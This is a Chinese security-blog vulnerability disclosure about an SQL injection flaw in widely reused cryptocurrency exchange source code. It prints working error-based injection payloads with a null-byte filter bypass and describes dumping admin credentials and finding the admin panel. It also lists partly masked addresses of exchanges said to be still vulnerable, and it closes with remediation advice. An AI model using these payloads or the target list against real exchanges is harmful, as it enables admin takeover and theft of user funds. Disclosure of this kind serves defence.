别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

华盟原创文章投稿奖励计划

近日,HELM区块链安全实验室在GitHub上发现了一套众多交易所可能正在使用的通用源码,经过分析发现其中存在大量的通用0day漏洞。据我们初步统计,使用此代码的交易所超过200家,目前仍存在该漏洞的交易所超过40家。

源码地址:

https://github.com/Mr**el/h***g.5***ha.com

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

在与开发商联系过后,得知其发布的演示站是升级过的第二个版本,而新版本虽然已经对该0day进行不完全修复,仍然可以被绕过。为了保证相关交易所的资金安全,HELM区块链安全实验室对此漏洞以及黑客攻击手法进行分析披露,并提供修复方式,希望各大交易所尽快修复漏洞以防患于未然。

这里我们选择其中一枚高危漏洞(SQL注入类型)进行披露,该漏洞可简单绕过防护,可通过报错注入获取数据库信息,从而获得后台管理权限;黑客通过操纵用户资金交易,可导致交易所资金遭受严重威胁。此注入点存在于行情页面中的请求连接,请各个使用此页面类似功能的交易所自查。

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

通过payload:/Chart/*****?market=' and updatexml(1,concat('~',user(),'~'),1) -- a获取到数据库连接。

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

用户名:li****

连接地址:localhost

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

在执行获取表名payload:

/Chart/****?market='and updatexml(1,concat('~',(select count(*) from information_schema.tables where table_schema=database()),'~'),1) -- a

被拦截。

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

只需加%00绕过即可,payload:

/Chart/***?market=' and updatexml(1,concat('~',(se%00lect cou%00nt(*) f%00rom informat%00ion_schema.tables wh%00ere table_schema=database()),'~'),1)-- a

用burpsuite获取到表名

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

获取qqbtc_admin字段即可获取管理员账号密码:

账号:****cc

密码:****520

通过分析源代码,APP_DEBUG为TRUE,导致data为NULL,market参数未进行任何过滤,直接带入数据库中执行查询命令。

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

访问 admin admin.php admin/login 等.... 获取到后台地址

管理员地址:/admin/login/admin888sss.html(admin.php跳转获取)

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

HELM区块链安全实验室通过对新版本跟进发现,许多交易所虽已对该漏洞进行修复,但仍然存在绕过的可能。

别追官宣了!披露一个严重事件:超过200家交易所使用了这套问题代码

对此,HELM区块链安全实验室根据提出如下建议:

1、对market参数进行过滤。

2、各交易所自查github仓库,如若泄露,删除GitHub上的源代码。

3、慎用第三方开发商的源码,如若外包应当定制化,避免使用二此开发的源码,以免友商使用类似源码被攻击收到影响。

下列交易平台都是受到该漏洞影响的,建议尽快修复

V1版本

https://www.c**a*ke.com 

https://107.1**.1*2.152

https://wo**.com

https://47.7*.**.91

http://47.**.98. *5

https://47.**.2*0.44

http://47. *2.2**.70/

https://www.h**n101.com

V2版本

https://**7.2**.6.133 

https://13.115.5**.170 

https://52.19**.9**.22/

https://**7.7**.252.210 

https://**2.213.**9.20

http://12**.173.6**.1**

https://10**.233.252.17*

文章来源: Helm区块链安全实验室

本文原创,作者:fox,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/223023.html

发表评论